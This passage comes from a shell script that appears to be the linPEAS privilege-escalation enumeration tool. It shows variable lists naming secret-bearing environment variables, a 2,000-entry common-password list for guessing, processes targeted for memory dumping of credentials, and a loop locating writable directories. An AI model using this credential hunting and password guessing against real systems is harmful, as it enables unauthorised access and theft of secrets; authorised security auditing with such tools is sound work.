RET|OKTA_CLIENT_TOKEN|OKTA_DOMAIN|OKTA_OAUTH2_CLIENTID|OKTA_OAUTH2_CLIENTSECRET|OKTA_OAUTH2_CLIENT_ID|OKTA_OAUTH2_CLIENT_SECRET" +pwd_in_variables8="OKTA_OAUTH2_ISSUER|OMISE_KEY|OMISE_PKEY|OMISE_PUBKEY|OMISE_SKEY|ONESIGNAL_API_KEY|ONESIGNAL_USER_AUTH_KEY|OPENWHISK_KEY|OPEN_WHISK_KEY|OSSRH_PASS|OSSRH_SECRET|OSSRH_USER|OS_AUTH_URL|OS_PROJECT_NAME|OS_TENANT_ID|OS_TENANT_NAME|PAGERDUTY_APIKEY|PAGERDUTY_ESCALATION_POLICY_ID|PAGERDUTY_FROM_USER|PAGERDUTY_PRIORITY_ID|PAGERDUTY_SERVICE_ID|PANTHEON_SITE|PARSE_APP_ID|PARSE_JS_KEY|PAYPAL_CLIENT_ID|PAYPAL_CLIENT_SECRET|PERCY_TOKEN|PERSONAL_KEY|PERSONAL_SECRET|PG_DATABASE|PG_HOST|PLACES_APIKEY|PLACES_API_KEY|PLACES_APPID|PLACES_APPLICATION_ID|PLOTLY_APIKEY|POSTGRESQL_DB|POSTGRESQL_PASS|POSTGRES_ENV_POSTGRES_DB|POSTGRES_ENV_POSTGRES_USER|POSTGRES_PORT|PREBUILD_AUTH|PROD.ACCESS.KEY.ID|PROD.SECRET.KEY|PROD_BASE_URL_RUNSCOPE|PROJECT_CONFIG|PUBLISH_KEY|PUBLISH_SECRET|PUSHOVER_TOKEN|PUSHOVER_USER|PYPI_PASSOWRD|QUIP_TOKEN|RABBITMQ_SERVER_ADDR|REDISCLOUD_URL|REDIS_STUNNEL_URLS|REFRESH_TOKEN|RELEASE_GH_TOKEN|RELEASE_TOKEN|remoteUserToShareTravis|REPORTING_WEBDAV_URL|REPORTING_WEBDAV_USER|repoToken|REST_API_KEY|RINKEBY_PRIVATE_KEY|ROPSTEN_PRIVATE_KEY|route53_access_key_id|RTD_KEY_PASS|RTD_STORE_PASS|RUBYGEMS_AUTH_TOKEN|s3_access_key|S3_ACCESS_KEY_ID|S3_BUCKET_NAME_APP_LOGS|S3_BUCKET_NAME_ASSETS|S3_KEY" +pwd_in_variables9="S3_KEY_APP_LOGS|S3_KEY_ASSETS|S3_PHOTO_BUCKET|S3_SECRET_APP_LOGS|S3_SECRET_ASSETS|S3_SECRET_KEY|S3_USER_ID|S3_USER_SECRET|SACLOUD_ACCESS_TOKEN|SACLOUD_ACCESS_TOKEN_SECRET|SACLOUD_API|SALESFORCE_BULK_TEST_SECURITY_TOKEN|SANDBOX_ACCESS_TOKEN|SANDBOX_AWS_ACCESS_KEY_ID|SANDBOX_AWS_SECRET_ACCESS_KEY|SANDBOX_LOCATION_ID|SAUCE_ACCESS_KEY|SECRETACCESSKEY|SECRETKEY|SECRET_0|SECRET_10|SECRET_11|SECRET_1|SECRET_2|SECRET_3|SECRET_4|SECRET_5|SECRET_6|SECRET_7|SECRET_8|SECRET_9|SECRET_KEY_BASE|SEGMENT_API_KEY|SELION_SELENIUM_SAUCELAB_GRID_CONFIG_FILE|SELION_SELENIUM_USE_SAUCELAB_GRID|SENDGRID|SENDGRID_API_KEY|SENDGRID_FROM_ADDRESS|SENDGRID_KEY|SENDGRID_USER|SENDWITHUS_KEY|SENTRY_AUTH_TOKEN|SERVICE_ACCOUNT_SECRET|SES_ACCESS_KEY|SES_SECRET_KEY|setDstAccessKey|setDstSecretKey|setSecretKey|SIGNING_KEY|SIGNING_KEY_SECRET|SIGNING_KEY_SID|SNOOWRAP_CLIENT_SECRET|SNOOWRAP_REDIRECT_URI|SNOOWRAP_REFRESH_TOKEN|SNOOWRAP_USER_AGENT|SNYK_API_TOKEN|SNYK_ORG_ID|SNYK_TOKEN|SOCRATA_APP_TOKEN|SOCRATA_USER|SONAR_ORGANIZATION_KEY|SONAR_PROJECT_KEY|SONAR_TOKEN|SONATYPE_GPG_KEY_NAME|SONATYPE_GPG_PASSPHRASE|SONATYPE_PASSSONATYPE_TOKEN_USER|SONATYPE_USER|SOUNDCLOUD_CLIENT_ID|SOUNDCLOUD_CLIENT_SECRET|SPACES_ACCESS_KEY_ID|SPACES_SECRET_ACCESS_KEY" +pwd_in_variables10="SPA_CLIENT_ID|SPOTIFY_API_ACCESS_TOKEN|SPOTIFY_API_CLIENT_ID|SPOTIFY_API_CLIENT_SECRET|sqsAccessKey|sqsSecretKey|SRCCLR_API_TOKEN|SSHPASS|SSMTP_CONFIG|STARSHIP_ACCOUNT_SID|STARSHIP_AUTH_TOKEN|STAR_TEST_AWS_ACCESS_KEY_ID|STAR_TEST_BUCKET|STAR_TEST_LOCATION|STAR_TEST_SECRET_ACCESS_KEY|STORMPATH_API_KEY_ID|STORMPATH_API_KEY_SECRET|STRIPE_PRIVATE|STRIPE_PUBLIC|STRIP_PUBLISHABLE_KEY|STRIP_SECRET_KEY|SURGE_LOGIN|SURGE_TOKEN|SVN_PASS|SVN_USER|TESCO_API_KEY|THERA_OSS_ACCESS_ID|THERA_OSS_ACCESS_KEY|TRAVIS_ACCESS_TOKEN|TRAVIS_API_TOKEN|TRAVIS_COM_TOKEN|TRAVIS_E2E_TOKEN|TRAVIS_GH_TOKEN|TRAVIS_PULL_REQUEST|TRAVIS_SECURE_ENV_VARS|TRAVIS_TOKEN|TREX_CLIENT_ORGURL|TREX_CLIENT_TOKEN|TREX_OKTA_CLIENT_ORGURL|TREX_OKTA_CLIENT_TOKEN|TWILIO_ACCOUNT_ID|TWILIO_ACCOUNT_SID|TWILIO_API_KEY|TWILIO_API_SECRET|TWILIO_CHAT_ACCOUNT_API_SERVICE|TWILIO_CONFIGURATION_SID|TWILIO_SID|TWILIO_TOKEN|TWITTEROAUTHACCESSSECRET|TWITTEROAUTHACCESSTOKEN|TWITTER_CONSUMER_KEY|TWITTER_CONSUMER_SECRET|UNITY_SERIAL|URBAN_KEY|URBAN_MASTER_SECRET|URBAN_SECRET|userTravis|USER_ASSETS_ACCESS_KEY_ID|USER_ASSETS_SECRET_ACCESS_KEY|VAULT_APPROLE_SECRET_ID|VAULT_PATH|VIP_GITHUB_BUILD_REPO_DEPLOY_KEY|VIP_GITHUB_DEPLOY_KEY|VIP_GITHUB_DEPLOY_KEY_PASS" +pwd_in_variables11="VIRUSTOTAL_APIKEY|VISUAL_RECOGNITION_API_KEY|V_SFDC_CLIENT_ID|V_SFDC_CLIENT_SECRET|WAKATIME_API_KEY|WAKATIME_PROJECT|WATSON_CLIENT|WATSON_CONVERSATION_WORKSPACE|WATSON_DEVICE|WATSON_DEVICE_TOPIC|WATSON_TEAM_ID|WATSON_TOPIC|WIDGET_BASIC_USER_2|WIDGET_BASIC_USER_3|WIDGET_BASIC_USER_4|WIDGET_BASIC_USER_5|WIDGET_FB_USER|WIDGET_FB_USER_2|WIDGET_FB_USER_3|WIDGET_TEST_SERVERWORDPRESS_DB_USER|WORKSPACE_ID|WPJM_PHPUNIT_GOOGLE_GEOCODE_API_KEY|WPT_DB_HOST|WPT_DB_NAME|WPT_DB_USER|WPT_PREPARE_DIR|WPT_REPORT_API_KEY|WPT_SSH_CONNECT|WPT_SSH_PRIVATE_KEY_BASE64|YANGSHUN_GH_TOKEN|YT_ACCOUNT_CHANNEL_ID|YT_ACCOUNT_CLIENT_ID|YT_ACCOUNT_CLIENT_SECRET|YT_ACCOUNT_REFRESH_TOKEN|YT_API_KEY|YT_CLIENT_ID|YT_CLIENT_SECRET|YT_PARTNER_CHANNEL_ID|YT_PARTNER_CLIENT_ID|YT_PARTNER_CLIENT_SECRET|YT_PARTNER_ID|YT_PARTNER_REFRESH_TOKEN|YT_SERVER_API_KEY|ZHULIANG_GH_TOKEN|ZOPIM_ACCOUNT_KEY" + +top2000pwds="123456 password 123456789 12345678 12345 qwerty 123123 111111 abc123 1234567 dragon 1q2w3e4r sunshine 654321 master 1234 football 1234567890 000000 computer 666666 superman michael internet iloveyou daniel 1qaz2wsx monkey shadow jessica letmein baseball whatever princess abcd1234 123321 starwars 121212 thomas zxcvbnm trustno1 killer welcome jordan aaaaaa 123qwe freedom password1 charlie batman jennifer 7777777 michelle diamond oliver mercedes benjamin 11111111 snoopy samantha victoria matrix george alexander secret cookie asdfgh 987654321 123abc orange fuckyou asdf1234 pepper hunter silver joshua banana 1q2w3e chelsea 1234qwer summer qwertyuiop phoenix andrew q1w2e3r4 elephant rainbow mustang merlin london garfield robert chocolate 112233 samsung qazwsx matthew buster jonathan ginger flower 555555 test caroline amanda maverick midnight martin junior 88888888 anthony jasmine creative patrick mickey 123 qwerty123 cocacola chicken passw0rd forever william nicole hello yellow nirvana justin friends cheese tigger mother liverpool blink182 asdfghjkl andrea spider scooter richard soccer rachel purple morgan melissa jackson arsenal 222222 qwe123 gabriel ferrari jasper danielle bandit angela scorpion prince maggie austin veronica nicholas monster dexter carlos thunder success hannah ashley 131313 stella brandon pokemon joseph asdfasdf 999999 metallica december chester taylor sophie samuel rabbit crystal barney xxxxxx steven ranger patricia christian asshole spiderman sandra hockey angels security parker heather 888888 victor harley 333333 system slipknot november jordan23 canada tennis qwertyui casper gemini asd123 winter hammer cooper america albert 777777 winner charles butterfly swordfish popcorn penguin dolphin carolina access 987654 hardcore corvette apples 12341234 sabrina remember qwer1234 edward dennis cherry sparky natasha arthur vanessa marina leonardo johnny dallas antonio winston \ +snickers olivia nothing iceman destiny coffee apollo 696969 windows williams school madison dakota angelina anderson 159753 1111 yamaha trinity rebecca nathan guitar compaq 123123123 toyota shannon playboy peanut pakistan diablo abcdef maxwell golden asdasd 123654 murphy monica marlboro kimberly gateway bailey 00000000 snowball scooby nikita falcon august test123 sebastian panther love johnson godzilla genesis brandy adidas zxcvbn wizard porsche online hello123 fuckoff eagles champion bubbles boston smokey precious mercury lauren einstein cricket cameron angel admin napoleon mountain lovely friend flowers dolphins david chicago sierra knight yankees wilson warrior simple nelson muffin charlotte calvin spencer newyork florida fernando claudia basketball barcelona 87654321 willow stupid samson police paradise motorola manager jaguar jackie family doctor bullshit brooklyn tigers stephanie slayer peaches miller heaven elizabeth bulldog animal 789456 scorpio rosebud qwerty12 franklin claire american vincent testing pumpkin platinum louise kitten general united turtle marine icecream hacker darkness cristina colorado boomer alexandra steelers serenity please montana mitchell marcus lollipop jessie happy cowboy 102030 marshall jupiter jeremy gibson fucker barbara adrian 1qazxsw2 12344321 11111 startrek fishing digital christine business abcdefg nintendo genius 12qwaszx walker q1w2e3 player legend carmen booboo tomcat ronaldo people pamela marvin jackass google fender asdfghjk Password 1q2w3e4r5t zaq12wsx scotland phantom hercules fluffy explorer alexis walter trouble tester qwerty1 melanie manchester gordon firebird engineer azerty 147258 virginia tiger simpsons passion lakers james angelica 55555 vampire tiffany september private maximus loveme isabelle isabella eclipse dreamer changeme cassie badboy 123456a stanley sniper rocket passport pandora justice infinity cookies barbie xavier unicorn superstar \ +stephen rangers orlando money domino courtney viking tucker travis scarface pavilion nicolas natalie gandalf freddy donald captain abcdefgh a1b2c3d4 speedy peter nissan loveyou harrison friday francis dancer 159357 101010 spitfire saturn nemesis little dreams catherine brother birthday 1111111 wolverine victory student france fantasy enigma copper bonnie teresa mexico guinness georgia california sweety logitech julian hotdog emmanuel butter beatles 11223344 tristan sydney spirit october mozart lolita ireland goldfish eminem douglas cowboys control cheyenne alex testtest stargate raiders microsoft diesel debbie danger chance asdf anything aaaaaaaa welcome1 qwert hahaha forest eternity disney denise carter alaska zzzzzz titanic shorty shelby pookie pantera england chris zachary westside tamara password123 pass maryjane lincoln willie teacher pierre michael1 leslie lawrence kristina kawasaki drowssap college blahblah babygirl avatar alicia regina qqqqqq poohbear miranda madonna florence sapphire norman hamilton greenday galaxy frankie black awesome suzuki spring qazwsxedc magnum lovers liberty gregory 232323 twilight timothy swimming super stardust sophia sharon robbie predator penelope michigan margaret jesus hawaii green brittany brenda badger a1b2c3 444444 winnie wesley voodoo skippy shithead redskins qwertyu pussycat houston horses gunner fireball donkey cherokee australia arizona 1234abcd skyline power perfect lovelove kermit kenneth katrina eugene christ thailand support special runner lasvegas jason fuckme butthead blizzard athena abigail 8675309 violet tweety spanky shamrock red123 rascal melody joanna hello1 driver bluebird biteme atlantis arnold apple alison taurus random pirate monitor maria lizard kevin hummer holland buffalo 147258369 007007 valentine roberto potter magnolia juventus indigo indian harvey duncan diamonds daniela christopher bradley bananas warcraft sunset simone renegade \ +redsox philip monday mohammed indiana energy bond007 avalon terminator skipper shopping scotty savannah raymond morris mnbvcxz michele lucky lucifer kingdom karina giovanni cynthia a123456 147852 12121212 wildcats ronald portugal mike helpme froggy dragons cancer bullet beautiful alabama 212121 unknown sunflower sports siemens santiago kathleen hotmail hamster golfer future father enterprise clifford christina camille camaro beauty 55555555 vision tornado something rosemary qweasd patches magic helena denver cracker beaver basket atlanta vacation smiles ricardo pascal newton jeffrey jasmin january honey hollywood holiday gloria element chandler booger angelo allison action 99999999 target snowman miguel marley lorraine howard harmony children celtic beatrice airborne wicked voyager valentin thx1138 thumper samurai moonlight mmmmmm karate kamikaze jamaica emerald bubble brooke zombie strawberry spooky software simpson service sarah racing qazxsw philips oscar minnie lalala ironman goddess extreme empire elaine drummer classic carrie berlin asdfg 22222222 valerie tintin therock sunday skywalker salvador pegasus panthers packers network mission mark legolas lacrosse kitty kelly jester italia hiphop freeman charlie1 cardinal bluemoon bbbbbb bastard alyssa 0123456789 zeppelin tinker surfer smile rockstar operator naruto freddie dragonfly dickhead connor anaconda amsterdam alfred a12345 789456123 77777777 trooper skittles shalom raptor pioneer personal ncc1701 nascar music kristen kingkong global geronimo germany country christmas bernard benson wrestling warren techno sunrise stefan sister savage russell robinson oracle millie maddog lightning kingston kennedy hannibal garcia download dollar darkstar brutus bobby autumn webster vanilla undertaker tinkerbell sweetpea ssssss softball rafael panasonic pa55word keyboard isabel hector fisher dominic darkside cleopatra blue assassin amelia vladimir roland \ +nigger national monique molly matthew1 godfather frank curtis change central cartman brothers boogie archie warriors universe turkey topgun solomon sherry sakura rush2112 qwaszx office mushroom monika marion lorenzo john herman connect chopper burton blondie bitch bigdaddy amber 456789 1a2b3c4d ultimate tequila tanner sweetie scott rocky popeye peterpan packard loverboy leonard jimmy harry griffin design buddha 1 wallace truelove trombone toronto tarzan shirley sammy pebbles natalia marcel malcolm madeline jerome gilbert gangster dingdong catalina buddy blazer billy bianca alejandro 54321 252525 111222 0000 water sucker rooster potato norton lucky1 loving lol123 ladybug kittycat fuck forget flipper fireman digger bonjour baxter audrey aquarius 1111111111 pppppp planet pencil patriots oxford million martha lindsay laura jamesbond ihateyou goober giants garden diana cecilia brazil blessing bishop bigdog airplane Password1 tomtom stingray psycho pickle outlaw number1 mylove maurice madman maddie lester hendrix hellfire happy1 guardian flamingo enter chichi 0987654321 western twister trumpet trixie socrates singer sergio sandman richmond piglet pass123 osiris monkey1 martina justine english electric church castle caesar birdie aurora artist amadeus alberto 246810 whitney thankyou sterling star ronnie pussy printer picasso munchkin morpheus madmax kaiser julius imperial happiness goodluck counter columbia campbell blessed blackjack alpha 999999999 142536 wombat wildcat trevor telephone smiley saints pretty oblivion newcastle mariana janice israel imagine freedom1 detroit deedee darren catfish adriana washington warlock valentina valencia thebest spectrum skater sheila shaggy poiuyt member jessica1 jeremiah jack insane iloveu handsome goldberg gabriela elijah damien daisy buttons blabla bigboy apache anthony1 a1234567 xxxxxxxx toshiba tommy sailor peekaboo motherfucker montreal manuel madrid kramer \ +katherine kangaroo jenny immortal harris hamlet gracie fucking firefly chocolat bentley account 321321 2222 1a2b3c thompson theman strike stacey science running research polaris oklahoma mariposa marie leader julia island idontknow hitman german felipe fatcat fatboy defender applepie annette 010203 watson travel sublime stewart steve squirrel simon sexy pineapple phoebe paris panzer nadine master1 mario kelsey joker hongkong gorilla dinosaur connie bowling bambam babydoll aragorn andreas 456123 151515 wolves wolfgang turner semperfi reaper patience marilyn fletcher drpepper dorothy creation brian bluesky andre yankee wordpass sweet spunky sidney serena preston pauline passwort original nightmare miriam martinez labrador kristin kissme henry gerald garrett flash excalibur discovery dddddd danny collins casino broncos brendan brasil apple123 yvonne wonder window tomato sundance sasha reggie redwings poison mypassword monopoly mariah margarita lionking king football1 director darling bubba biscuit 44444444 wisdom vivian virgin sylvester street stones sprite spike single sherlock sandy rocker robin matt marianne linda lancelot jeanette hobbes fred ferret dodger cotton corona clayton celine cannabis bella andromeda 7654321 4444 werewolf starcraft sampson redrum pyramid prodigy paul michel martini marathon longhorn leopard judith joanne jesus1 inferno holly harold happy123 esther dudley dragon1 darwin clinton celeste catdog brucelee argentina alpine 147852369 wrangler william1 vikings trigger stranger silvia shotgun scarlett scarlet redhead raider qweasdzxc playstation mystery morrison honda february fantasia designer coyote cool bulldogs bernie baby asdfghj angel1 always adam 202020 wanker sullivan stealth skeeter saturday rodney prelude pingpong phillip peewee peanuts peace nugget newport myself mouse memphis lover lancer kristine james1 hobbit halloween fuckyou1 finger fearless dodgers delete cougar \ +charmed cassandra caitlin bismillah believe alice airforce 7777 viper tony theodore sylvia suzanne starfish sparkle server samsam qweqwe public pass1234 neptune marian krishna kkkkkk jungle cinnamon bitches 741852 trojan theresa sweetheart speaker salmon powers pizza overlord michaela meredith masters lindsey history farmer express escape cuddles carson candy buttercup brownie broken abc12345 aardvark Passw0rd 141414 124578 123789 12345678910 00000 universal trinidad tobias thursday surfing stuart stinky standard roller porter pearljam mobile mirage markus loulou jjjjjj herbert grace goldie frosty fighter fatima evelyn eagle desire crimson coconut cheryl beavis anonymous andres africa 134679 whiskey velvet stormy springer soldier ragnarok portland oranges nobody nathalie malibu looking lemonade lavender hitler hearts gotohell gladiator gggggg freckles fashion david1 crusader cosmos commando clover clarence center cadillac brooks bronco bonita babylon archer alexandre 123654789 verbatim umbrella thanks sunny stalker splinter sparrow selena russia roberts register qwert123 penguins panda ncc1701d miracle melvin lonely lexmark kitkat julie graham frances estrella downtown doodle deborah cooler colombia chemistry cactus bridge bollocks beetle anastasia 741852963 69696969 unique sweets station showtime sheena santos rock revolution reading qwerasdf password2 mongoose marlene maiden machine juliet illusion hayden fabian derrick crazy cooldude chipper bomber blonde bigred amazing aliens abracadabra 123qweasd wwwwww treasure timber smith shelly sesame pirates pinkfloyd passwords nature marlin marines linkinpark larissa laptop hotrod gambit elvis education dustin devils damian christy braves baller anarchy white valeria underground strong poopoo monalisa memory lizzie keeper justdoit house homer gerard ericsson emily divine colleen chelsea1 cccccc camera bonbon billie bigfoot badass asterix anna animals \ +andy achilles a1s2d3f4 violin veronika vegeta tyler test1234 teddybear tatiana sporting spartan shelley sharks respect raven pentium papillon nevermind marketing manson madness juliette jericho gabrielle fuckyou2 forgot firewall faith evolution eric eduardo dagger cristian cavalier canadian bruno blowjob blackie beagle admin123 010101 together spongebob snakes sherman reddog reality ramona puppies pedro pacific pa55w0rd omega noodle murray mollie mister halflife franco foster formula1 felix dragonball desiree default chris1 bunny bobcat asdf123 951753 5555 242424 thirteen tattoo stonecold stinger shiloh seattle santana roger roberta rastaman pickles orion mustang1 felicia dracula doggie cucumber cassidy britney brianna blaster belinda apple1 753951 teddy striker stevie soleil snake skateboard sheridan sexsex roxanne redman qqqqqqqq punisher panama paladin none lovelife lights jerry iverson inside hornet holden groovy gretchen grandma gangsta faster eddie chevelle chester1 carrot cannon button administrator a 1212 zxc123 wireless volleyball vietnam twinkle terror sandiego rose pokemon1 picture parrot movies moose mirror milton mayday maestro lollypop katana johanna hunting hudson grizzly gorgeous garbage fish ernest dolores conrad chickens charity casey blueberry blackman blackbird bill beckham battle atlantic wildfire weasel waterloo trance storm singapore shooter rocknroll richie poop pitbull mississippi kisses karen juliana james123 iguana homework highland fire elliot eldorado ducati discover computer1 buddy1 antonia alphabet 159951 123456789a 1123581321 0123456 zaq1xsw2 webmaster vagina unreal university tropical swimmer sugar southpark silence sammie ravens question presario poiuytrewq palmer notebook newman nebraska manutd lucas hermes gators dave dalton cheetah cedric camilla bullseye bridget bingo ashton 123asd yahoo volume valhalla tomorrow starlight scruffy roscoe richard1 positive \ +plymouth pepsi patrick1 paradox milano maxima loser lestat gizmo ghetto faithful emerson elliott dominique doberman dillon criminal crackers converse chrissy casanova blowme attitude" +PASSTRY="2000" #Default num of passwds to try (all by default) + +if [ "$PORTS" ] || [ "$DISCOVERY" ] || [ "$IP" ] || [ "$AUTO_NETWORK_SCAN" ]; then MAXPATH_FIND_W="1"; fi #If Network reduce the time on this +SEDOVERFLOW=true +for grp in $(groups $USER 2>/dev/null | cut -d ":" -f2); do + wgroups="$wgroups -group $grp -or " +done +wgroups="$(echo $wgroups | sed -e 's/ -or$//')" +while $SEDOVERFLOW; do + #WF=`find /dev /srv /proc /home /media /sys /lost+found /run /etc /root /var /tmp /mnt /boot /opt -type d -maxdepth $MAXPATH_FIND_W -writable -or -user $USER 2>/dev/null | sort` + #if [ "$MACPEAS" ]; then + WF=$(find / -maxdepth $MAXPATH_FIND_W -type d ! -path "/proc/*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | sort) #OpenBSD find command doesn't have "-writable" option + #else + # WF=`find / -maxdepth $MAXPATH_FIND_W -type d ! -path "/proc/*" -and '(' -writable -or -user $USER ')' 2>/dev/null | sort` + #fi + Wfolders=$(printf "%s" "$WF" | tr '\n' '|')"|[a-zA-Z]+[a-zA-Z0-9]* +\*" + Wfolder="$(printf "%s" "$WF" | grep "/shm" | head -n1)" # Try to get /dev/shm + if ! [ "$Wfolder" ]; then + Wfolder="$(printf "%s" "$WF" | grep "tmp\|shm\|home\|Users\|root\|etc\|var\|opt\|bin\|lib\|mnt\|private\|Applications" | head -n1)" + fi + printf "test\ntest\ntest\ntest"| sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" >/dev/null 2>&1 + if [ $? -eq 0 ]; then + SEDOVERFLOW=false + else + MAXPATH_FIND_W=$(($MAXPATH_FIND_W-1)) #If overflow of directories, check again with MAXPATH_FIND_W - 1 + fi + if [ $MAXPATH_FIND_W -lt 1 ] ; then # prevent infinite loop + SEDOVERFLOW=false + fi +done + + +notExtensions="\.tif$|\.tiff$|\.gif$|\.jpeg$|\.jpg|\.jif$|\.jfif$|\.jp2$|\.jpx$|\.j2k$|\.j2c$|\.fpx$|\.pcd$|\.png$|\.pdf$|\.flv$|\.mp4$|\.mp3$|\.gifv$|\.avi$|\.mov$|\.mpeg$|\.wav$|\.doc$|\.docx$|\.xls$|\.xlsx$|\.svg$" + +TIMEOUT="$(command -v timeout 2>/dev/null)" +STRACE="$(command -v strace 2>/dev/null)" +STRINGS="$(command -v strings 2>/dev/null)" +LDD="$(command -v ldd 2>/dev/null)" +READELF="$(command -v readelf 2>/dev/null)" + +shscripsG="/0trace.sh|/alsa-info.sh|amuFormat.sh|/blueranger.sh|/crosh.sh|/dnsmap-bulk.sh|/dockerd-rootless.sh|/dockerd-rootless-setuptool.sh|/get_bluetooth_device_class.sh|/gettext.sh|/go-rhn.sh|/gvmap.sh|/kernel_log_collector.sh|/lesspipe.sh|/lprsetup.sh|/mksmbpasswd.sh|/pm-utils-bugreport-info.sh|/power_report.sh|/prl-opengl-switcher.sh|/setuporamysql.sh|/setup-nsssysinit.sh|/readlink_f.sh|/rescan-scsi-bus.sh|/start_bluetoothd.sh|/start_bluetoothlog.sh|/testacg.sh|/testlahf.sh|/unix-lpr.sh|/url_handler.sh|/write_gpt.sh" + +notBackup="/tdbbackup$|/db_hotbackup$" + +cronjobsG=".placeholder|0anacron|0hourly|110.clean-tmps|130.clean-msgs|140.clean-rwho|199.clean-fax|199.rotate-fax|200.accounting|310.accounting|400.status-disks|420.status-network|430.status-rwho|999.local|anacron|apache2|apport|apt|aptitude|apt-compat|bsdmainutils|certwatch|cracklib-runtime|debtags|dpkg|e2scrub_all|exim4-base|fake-hwclock|fstrim|john|locate|logrotate|man-db.cron|man-db|mdadm|mlocate|mod-pagespeed|ntp|passwd|php|popularity-contest|raid-check|rwhod|samba|standard|sysstat|ubuntu-advantage-tools|update-motd|update-notifier-common|upstart|" +cronjobsB="centreon" + +processesVB='jdwp|tmux |screen | inspect |--inspect[= ]|--inspect$|--inpect-brk|--remote-debugging-port' +processesB="amazon-ssm-agent|knockd|splunk" +processesDump="gdm-password|gnome-keyring-daemon|lightdm|vsftpd|apache2|sshd:" + +mail_apps="Postfix|Dovecot|Exim|SquirrelMail|Cyrus|Sendmail|Courier" + +profiledG="01-locale-fix.sh|256term.csh|256term.sh|abrt-console-notification.sh|appmenu-qt5.sh|apps-bin-path.sh|bash_completion.sh|cedilla-portuguese.sh|colorgrep.csh|colorgrep.sh|colorls.csh|colorls.sh|colorxzgrep.csh|colorxzgrep.sh|colorzgrep.csh|colorzgrep.sh|csh.local|cursor.sh|gawk.csh|gawk.sh|im-config_wayland.sh|kali.sh|lang.csh|lang.sh|less.csh|less.sh|flatpak.sh|sh.local|vim.csh|vim.sh|vte.csh|vte-2.91.sh|which2.csh|which2.sh|xauthority.sh|Z97-byobu.sh|xdg_dirs_desktop_session.sh|Z99-cloudinit-warnings.sh|Z99-cloud-locale-test.sh" + +knw_emails=".*@aivazian.fsnet.co.uk|.*@angband.pl|.*@canonical.com|.*centos.org|.*debian.net|.*debian.org|.*@jff.email|.*kali.org|.*linux.it|.*@linuxia.de|.*@lists.debian-maintainers.org|.*@mit.edu|.*@oss.sgi.com|.*@qualcomm.com|.*redhat.com|.*ubuntu.com|.*@vger.kernel.org|mmyangfl@gmail.com|rogershimizu@gmail.com|thmarques@gmail.com" + +timersG="anacron.timer|apt-daily.timer|apt-daily-upgrade.timer|dpkg-db-backup.timer|e2scrub_all.timer|fstrim.timer|fwupd-refresh.timer|geoipupdate.timer|io.netplan.Netplan|logrotate.timer|man-db.timer|mlocate.timer|motd-news.timer|phpsessionclean.timer|plocate-updatedb.timer|snapd.refresh.timer|snapd.snap-repair.timer|systemd-tmpfiles-clean.timer|systemd-readahead-done.timer|ua-license-check.timer|ua-messaging.timer|ua-timer.timer|ureadahead-stop.timer" + +commonrootdirsG="^/$|/bin$|/boot$|/.cache$|/cdrom|/dev$|/etc$|/home$|/lost+found$|/lib$|/lib32$|libx32$|/lib64$|lost\+found|/media$|/mnt$|/opt$|/proc$|/root$|/run$|/sbin$|/snap$|/srv$|/sys$|/tmp$|/usr$|/var$" +commonrootdirsMacG="^/$|/.DocumentRevisions-V100|/.fseventsd|/.PKInstallSandboxManager-SystemSoftware|/.Spotlight-V100|/.Trashes|/.vol|/Applications|/bin|/cores|/dev|/home|/Library|/macOS Install Data|/net|/Network|/opt|/private|/sbin|/System|/Users|/usr|/Volumes" + +ldsoconfdG="/lib32|/lib/x86_64-linux-gnu|/usr/lib32|/usr/lib/oracle/19.6/client64/lib/|/usr/lib/x86_64-linux-gnu/libfakeroot|/usr/lib/x86_64-linux-gnu|/usr/local/lib/x86_64-linux-gnu|/usr/local/lib" + +dbuslistG="^:1\.[0-9\.]+|com.hp.hplip|com.intel.tss2.Tabrmd|com.redhat.ifcfgrh1|com.redhat.NewPrinterNotification|com.redhat.PrinterDriversInstaller|com.redhat.RHSM1|com.redhat.RHSM1.Facts|com.redhat.tuned|com.ubuntu.LanguageSelector|com.ubuntu.SoftwareProperties|com.ubuntu.SystemService|com.ubuntu.USBCreator|com.ubuntu.WhoopsiePreferences|io.netplan.Netplan|io.snapcraft.SnapdLoginService|fi.epitest.hostap.WPASupplicant|fi.w1.wpa_supplicant1|NAME|net.hadess.SwitcherooControl|org.blueman.Mechanism|org.bluez|org.debian.apt|org.fedoraproject.FirewallD1|org.fedoraproject.Setroubleshootd|org.fedoraproject.SetroubleshootFixit|org.fedoraproject.SetroubleshootPrivileged|org.freedesktop.Accounts|org.freedesktop.Avahi|org.freedesktop.bolt|org.freedesktop.ColorManager|org.freedesktop.DBus|org.freedesktop.DisplayManager|org.freedesktop.fwupd|org.freedesktop.GeoClue2|org.freedesktop.hostname1|org.freedesktop.import1|org.freedesktop.locale1|org.freedesktop.login1|org.freedesktop.machine1|org.freedesktop.ModemManager1|org.freedesktop.NetworkManager|org.freedesktop.network1|org.freedesktop.nm_dispatcher|org.freedesktop.nm_priv_helper|org.freedesktop.PackageKit|org.freedesktop.PolicyKit1|org.freedesktop.portable1|org.freedesktop.realmd|org.freedesktop.RealtimeKit1|org.freedesktop.SystemToolsBackends|org.freedesktop.SystemToolsBackends.[a-zA-Z0-9_]+|org.freedesktop.resolve1|org.freedesktop.systemd1|org.freedesktop.thermald|org.freedesktop.timedate1|org.freedesktop.timesync1|org.freedesktop.UDisks2|org.freedesktop.UPower|org.gnome.DisplayManager|org.opensuse.CupsPkHelper.Mechanism" +USEFUL_SOFTWARE="authbind aws base64 ctr curl doas docker fetch g++ gcc gdb kubectl lxc make nc nc.traditional ncat netcat nmap perl php ping podman python python2 python2.6 python2.7 python3 python3.6 python3.7 pwsh rkt ruby runc socat sudo wget xterm" +TIP_DOCKER_ROOTLESS="In rootless mode privilege escalation to root will not be possible." +GREP_DOCKER_SOCK_INFOS="Architecture|OSType|Name|DockerRootDir|NCPU|OperatingSystem|KernelVersion|ServerVersion" +GREP_DOCKER_SOCK_INFOS_IGNORE="IndexConfig" +GREP_IGNORE_MOUNTS="/ /|/null | proc proc |/dev/console" + +INT_HIDDEN_FILES="peass{INT_HIDDEN_FILES}" + +FAT_LINPEAS_AMICONTAINED="peass{AMICONTAINED}" +FAT_LINPEAS_GITLEAKS_LINUX="peass{GITLEAKS_LINUX}" +FAT_LINPEAS_GITLEAKS_MACOS="peass{GITLEAKS_MACOS}" + +########################################### +#---------) Checks before start (---------# +########################################### +# --) ps working good +# --) Network binaries + +if [ "$(ps auxwww 